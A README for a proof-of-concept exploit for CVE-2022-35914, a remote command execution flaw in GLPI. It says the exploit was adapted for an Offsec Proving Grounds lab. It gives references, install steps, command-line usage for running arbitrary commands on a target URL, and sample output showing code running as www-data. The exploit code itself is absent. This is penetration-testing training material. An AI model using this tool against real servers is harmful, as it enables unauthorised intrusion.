CVE-2022-35914_poc

为GLPI Offsec实验室修改：call_user_func, array_map, passthru

参考

修改为适用于Proving Grounds实践实验室：GLPI

• https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr
• https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.py
• Mayfly博客文章：https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/

使用方法

pip3 install -r requirements.txt

./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [--check] [--user-agent USER_AGENT]

CVE-2022-35914 - GLPI - Modified for Offsec Lab: GLPI

options:
  -h, --help              show this help message and exit
  -u URL                  URL to test
  -c CMD                  Command to launch
  --check                 Just check, no command execution.
  --user-agent USER_AGENT Custom User-Agent

示例：

python3 CVE-2022-35914.py -u http://127.0.0.1
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)